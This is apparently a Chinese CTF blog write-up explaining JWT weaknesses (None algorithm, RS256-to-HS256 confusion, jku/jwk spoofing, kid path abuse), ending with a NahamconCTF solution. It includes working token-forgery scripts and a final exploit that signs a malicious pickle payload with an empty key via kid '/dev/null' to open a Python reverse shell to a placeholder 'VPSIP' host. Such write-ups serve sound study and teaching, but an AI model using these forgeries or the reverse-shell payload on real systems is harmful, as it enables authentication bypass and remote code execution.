jwt,全称json-web-token.其安全问题一直以来众所周知。CTF中也经常性的会出现相关的jwt伪造的题目。但是之前在打了场NahamconCTF的比赛后,对jwt又有了全新的认识。因此在这里全面的解释下jwt的相关漏洞。Let's make jwt great again :).
jwt
JWT的全称 Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法
其格式也非常清晰
header.payload.signature
由三段式组成。
这里值得一提的是,flask的session生成格式也同样是三段式。有一定的异曲同工之处。但是不同于jwt。其伪造方式往往非常局限。
下面简单谈下三个部分结构
- header
一个简单的header是这种形式的
{
"alg" : "HS256",
"typ" : "jwt"
}
但是实际上jwt的header还支持加入其它几个属性。
kid,jwk......
其具体含义将在后面提及。
- payload
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
其中大部分变量都是可以选择性生成的。有的语言的jwt库会自动生成iat变量,但是这些都无伤大雅。往往最重要的,是当payload存储了自定义的敏感信息时。比如username之类的。
由于jwt存储信息时,header+payload的json数据是直接通过base64进行编码存储的。因此我们一定可以从payload中发现信息泄露。
但是从漏洞利用角度来讲,我们如果想要达成越权的目的,就必须得提到其signature部分。
- Signature
顾名思义,就是通过前面指定的算法,去生成对应的sig.
这里我以HS256为例,从伪代码的角度讲。是这样生成的
key = 'secretkey'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
可见,其思路就是用HMAC-sha256
(对称加密算法),对jwt前两个部分组成的字符串进行加密。
但是实际上,大家可能注意到过一个现象:jwt中没有/
,=
这种本该出现在base64数据中的字符。而在之前提到过的比赛中,我也是遇到了这个问题,并通过找规律发现,jwt最终的结果会将原始的base64字符串中的/
换成_
。并且去掉原本base64中用于补位的=
。
实际上,这点我们可以用python的库中base64.urlsafe_b64encode
替换base64encode
.也因此可以理解,是为了网络传输才对这几个特殊字符进行了处理。
至于另一种常见的RS256算法也是相同的道理。服务端需要存储一组publickey.pem
与privatekey.pem
.我们需要私钥生成token.服务端则会用公钥解密token。
exploits
接下来就是如何利用漏洞渗透jwt了。首先需要明确两点
- 是否需要利用jwt?
- 是否有其他漏洞泄露key?
之所以提到这两点是因为:jwt本身就是因为只用服务端存储一组key来减轻压力而诞生的。是可以作为sessionid的替换方案的。一般情况下,主流的编程语言python,java,Node.js都可以很轻松的调用jwt.其他语言如php也支持。而真实情况往往是他们调用jwt来存储必要的简单用户信息,所以不要认为jwt一定有漏洞可利用
同时,jwt的key也是非常头疼的一个话题。如果需要越权,那么就需要伪造token.而伪造必须需要key来签名(或者服务端脚本漏洞)。也许是受了国赛影响,jwt的key是用c-jwt-cracker暴破的.而实际情况下,key很有可能难以爆破,所以我认为最佳方案是先去寻找可能泄露key的方法。
比如某比赛我在getshell后,扒下源码时顺手看了一眼它服务端的key,根本不可能爆破
所以,尝试其他方式来获取key。这也正是我下面要总结的,用于jwt的漏洞利用。
信息泄露-伪造
必备网站:
http://jwt.io/
这也是所有jwt题目第一步就该做的。因为即使没有key,我们也能清晰的得到所有header与payload的信息。而往往这决定了我们下一步的举措。
比如,payload中有username字段。那么我们是否可以伪造admin来进行权限提升呢?或者,应用有某个变量字段取自jwt,那么我们如果有了key.就可以使用jwt.io或者python脚本进行伪造了。
以今年网鼎玄武组的js_on为例。当以弱口令登录admin时,就可以得到key。从而任意改造存在sql注入的字段进行盲注。这也就要求我们使用脚本来完成攻击。下面给出一个python调用jwt基本用法
import jwt
encoded_jwt = jwt.encode({'user_name': 'admin'}, 'secretkey', algorithm='HS256').decode('utf-8')
print(encoded_jwt)
注意python调用jwt的库是PyJwt
。并且还有一个坑点是,python想要用私钥作为key,也就是使用RS256算法加密时会报错。不知道是否只有我出现这个问题。因此还是得用jwt.io
解决
None-algorithm
jwt支持空算法,也就是None
。原本只是为了调试用的,但这一旦出现在了源码中将是非常致命的。
比如之前虎符比赛的题目。应该是借鉴了外国赛的一个题。其源码是这样的
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
可以发现,当没有强调算法,直接使用jwt.verify()
时,由于key可控,jwt是可以用None算法来解token的。这也就导致了简单的越权。
同理。python的源码如果没有强调,也是存在空算法伪造的。所以有时候不妨尝试一下,看看无算法能不能通过服务端校验(没有源码时)
通常步骤如下
import jwt
jwtToken= 'eyJhbGciOiJIUzI1NiIsI...'
decodedToken= jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
noneEncoded= jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())
RS256 to HS256
从非对称到对称算法的伪造。其实非常有意思但是国内CTF都没怎么见到过。
直接上真题源码,应该是之前HSCTF里面的
#生成token
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
#用token验证身份是否为admin
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
乍一看没什么漏洞。但是如果了解jwt,就会发现这里可能存在使用HS256
替换RS256
的风险。假如公钥泄露,我们就能用公钥作为key,使用HS256生成token通过校验。这同样是没有强调算法的问题。
伪造的话可以用python
import jwt
public = open('public.pem', 'r').read()
print(public)
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256')).decode('utf-8')
但需要注意,这里必须满足pyjwt==0.4.3才能伪造。否则只能采用其他办法了。这里直接给出payloadallthethings里的链接https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token#jwt-signature---rs256-to-hs256
而Node.js也存在这种风险。所以说jwt的安全问题主要出在开发者源码写的不够好的原因。
jku/jwk
以上都是相对比较常见的漏洞了。甚至国内ctf还只出现过前两种。而Nahamcon的比赛让我了解到了另一种存在的漏洞。与jku相关。
JKU全称是“JWKSet URL”,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token。
而jwk就是json web key。
实际上你能发现amazon就有相关的文档来了解jku。
https://docs.aws.amazon.com/zh_cn/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html
其中还提到了kid这个header选项。它的作用是获取对应的字段作为key。(jwk类型)
下面我用比赛中flagjokes这题来讲解下:
首先解出jwt header如下,而我们只要payload中的username为admin即可获得flag。
{
"alg": "RS256",
"jku": "http://localhost:5000/static/jwks.json",
"kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}
jku指向了本地的网页。那么尝试直接访问
发现网页存在static/jwks.json
{
"keys": [
{
"e": "AQAB",
"kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc",
"kty": "RSA",
"n": "1bVdpTILcGSahuOL6IJCbUpDZTGFHc8lzQORNLQBXDiRd1cC1k5cG41iR1TYh74cp8HYmoLXy4U2bp7GUFm0ip_qzCxcabUwWCxF07TGsmiFmCUbcQ6vbJvnSZSZGe-RFPgHxrVzHgQzepNIY2TmjgXyqt8HNuKBJQ6NoTviyxZUqy65KtSBfLYh5XzFn3FPemOla8kGBu7moSbUpgO1t3m3LgxBV5y51E1xSSoC7nAYPFrQ9wOTHEh7kGxGUQqKtGswyi2ncH22VcfQkxMA0HerFMPOr2n9eEZEbeJFco9Gp3drAYDCyj0QbkJKGdbl_50cimZ7eXgeyc3lEEXL7Q"
}
]
}
此时我发现得到jwk后,即可生成公钥了。但是网站只泄露了公钥,那么根据上面总结的,能尝试的只能是HS256替换RS256生成token.
然而当时尝试了后却得到服务端的报错。也就是说并不能更换算法来伪造token.那么怎么办呢?
此时通过查询一系列资料,终于发现jku的指定是有洞的。假如我们让它加载到我们自己的jwk.json
,我们就能够以RS256
算法而不是伪造HS256
通过校验了。
所以,正确思路是申请一组key,kid可以自定
https://mkjwk.org/
我们可以只放中间的作为jwk.json,也可以把右边的公钥改成jwk的格式。
之后就是在线或者用脚本进行jwk->pem的转换了。这里贴出一个Node.js进行转换的脚本。
const jose = require('node-jose');
const fs = require('fs');
const args = process.argv.slice(2);
const key = fs.readFileSync(args[0]);
var DUMP_PRIVATE_KEY = ('true' == args[1]);
jose.JWK.asKey(key)
.then(function(key) {
console.log(key.toPEM(DUMP_PRIVATE_KEY));
});
使用时 发现node test.js private.jwk
跟 public.jwk
一致,证明没有问题。此时只需使用
node test.js private.jwk TRUE
即可输出私钥结果,否则脚本设计上是默认不输出私钥的(危险)。
因此。本题关键是更改jku获取到我们自己的json。这样我们可以用私钥加密payload.服务端用获取到的公钥解密payload.
kid-任意文件
kid的含义上面已经提到过了:指定jwt的密钥。
kid可能存在的问题,在了解了上面jku的相关漏洞后,应该会比较清楚了。如果jwt是通过header中的kid来获取key,那么就可能造成任意文件读取(不一定有回显)
简单的情况下,我们可以直接指定kid为2,即HS256的secretkey为2
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "2"
}
或者有的时候它是从文件获取的
"kid" : "/etc/passwd"
假如有web应用把密钥回显出来(不太可能),即可读取文件。
同时还有一种思路。由于可以指定任意文件,只要找到可控的key。我们就能做到伪造jwttoken。
比如指定静态css文件,它的文件内容一定是可控的,且易于从网页获取的。
"kid" : "/css/public.css"
下面就NahamconCTF的B'omarr Style来分析下
这题因为花了我不少时间。但是仍然学到了非常多东西,所以特地写下。赛后我也一时兴起写了篇英文wp投CTFTime上了https://hackmd.io/@byc404/B1VBX8Qp8
下面我相当于补一份中文wp:
首先是题目注册,登录后的token
重点同样在于jwt的header
{
"typ": "JWT",
"alg": "HS256",
"kid": "secret.txt"
}
从header信息中。我们可以推断出,jwt的key是从secret.txt这个文件中获取的。
但是非常奇怪的是,在没有key的情况下,jwt.io
解出来的payload内容为空。
这里可能就需要一点眼力了,因为自己做过好几道pickle相关的序列化题,所以这里不难直接看出,jwt的payload部分被替换成了pickle生成的序列化base64内容。或者我们也可以单独拿出这一段奇怪的base64用xxd看
能够明显看到c_mamin
,username
等字样。这就是典型的python opcode的内容
所以这里我明确了题目的要求:伪造一个有效token,包含我们恶意的python序列化内容,进行RCE。
然而这只是第一步。接下来我们会发现,secret.txt内容未知,而想要获取key并没有其他途径。那么首先我先尝试None
算法试试吧。
尝试后发现只接受HS256.看来重点是,寻找到一个可控的key。
此处的kid表示我们可以指定任意文件作为密钥,但这也是一大难点。因为此题是python环境,其静态文件基本没有可控的。它的html格式是典型的直接从cdn获取css的
而html文件虽然我们能直接获取,但是别忘了这大概率是flask起的web应用。也就是说,我们就算能指定templates/index.html
作为key,html中是包含有jinja2的模板语句的,这一部分代码我们也是无法控制的。这里放出扒下来的html
所以说,静态文件这条路是走不通的。看来只能尝试系统文件了。
但这里我想大部分人都没想过,linux的系统文件中有什么是内容可控的?这其实也是一个有趣的地方。常见如/etc/passwd
,/etc/hosts
等等都是无法预测的。而/proc/self
等等也许存在空文件但是不能百分之百确定。有没有什么内容是百分之百能够确定的呢?
有。答案就是/dev/null
我们都知道linux将垃圾内容扔进/dev/null
是常见操作。而我们通常是echo log > /dev/null 2>&1
来完成一次没有任何回显的直接操作。/dev/null
能够丢弃一切写入其中的数据。而读取它将立即得到一个EOF。
所以说,如果我们控制kid读取/dev/null
为key.此时我们直接使用空字符串作为HS256的secretkey就能得到一个有效的key.
import jwt
headers={
"typ": "JWT",
"alg": "HS256",
"kid": "/dev/null"
}
payload={}
token=jwt.encode(payload,'',algorithm="HS256",headers=headers).decode('utf-8')
print(token)
通过上面的脚本,我发现更换cookie时得到的报错回显不再是Invalid Signature
,而是Invalid load key
这其实是一个好消息,因为经过搜索后这是一个pickle的报错。也就是说我们已经通过校验了,只要剩下的payload部分是有效的picklebase64数据即可。
然而仔细一想发现问题不对。jwt作为json web token
,有效的传输数据都应该是json数据。但这里居然直接把pickle的opcodebase64后放在了payload部分。这让当时的我无法理解。这也就意味着:payload的原始内容在python中不是一个字典,也就是说我们无法直接通过pyjwt库进行密文生成。
于是我去找资料。发现其实jwt的HS256签名是hmac-sha256生成的。其中key是jwt的secretkey.data是base64(header).base64(payload)
整体
所以我们可以使用脚本手动拼接。
下面直接给出完整的exp
import pickle
import os
import base64
from hashlib import sha256
import hmac
class exp(object):
def __reduce__(self):
s = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return (os.system, (s,))
e = exp()
payload=base64.urlsafe_b64encode(pickle.dumps(e)).decode('utf-8')
#print(payload)
key = "".encode('utf-8')
data =("eyJraWQiOiIvZGV2L251bGwiLCJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."+payload).encode('utf-8')
#print(data)
signature = base64.urlsafe_b64encode(hmac.new(key,data,digestmod=sha256).digest())
#print(signature)
print(data.decode()+'.'+signature.decode().rstrip('='))
解释几点
1.payload部分pickle与cPickle都可以。但是这里是python3环境,还是得用python3生成。
2.注意我使用了base64.urlsafe_b64encode
而不是base64encode
。这点上面也讲过了,jwt中不会出现/
和=
这样的字符的。比赛中我并没有去详细查询,而是直接手动将/
替换成_
并去掉=
同样得到了有效的key.
3.这里生成pickle的payload我也同样做了点手脚:在弹shell的代码后加了几个空格。原因同上,因为payload部分同样不允许=
这样的字符。所以可以手动加空格防止出现=
.
4.弹shell只可能使用python或bash反弹shell.因为这个靶机真的啥都没有(curl,wget,nc)。当然如果渗透linux靶机做多了也能发现python弹shell真的万金油。没有用bash纯粹是因为搞忘了:(
5.最后wp放出来后有网友说直接照搬我的exp服务端会报错module 'nt' not found
。我试了下发现居然真的有这个问题。但是比赛时我是用vps上的python3.5生成的payload,经测试还是可以成功RCE。而换到本机上的python3.7就出错了。最后对比payload发现两者生成的签名不一致,这里我只能推断是加密算法的问题。毕竟本机上的pycrypto我一直没弄好过。
最后成功弹shell.
小结
jwt安全的相关漏洞我认为基本上就只有以上这些了。因为其实其他相关的洞或多或少都与此相关。只要掌握了这些常见可利用的点,并且了解一下算法的流程,即使碰到最后一道题这种变通性极强的也能顺着思路走下去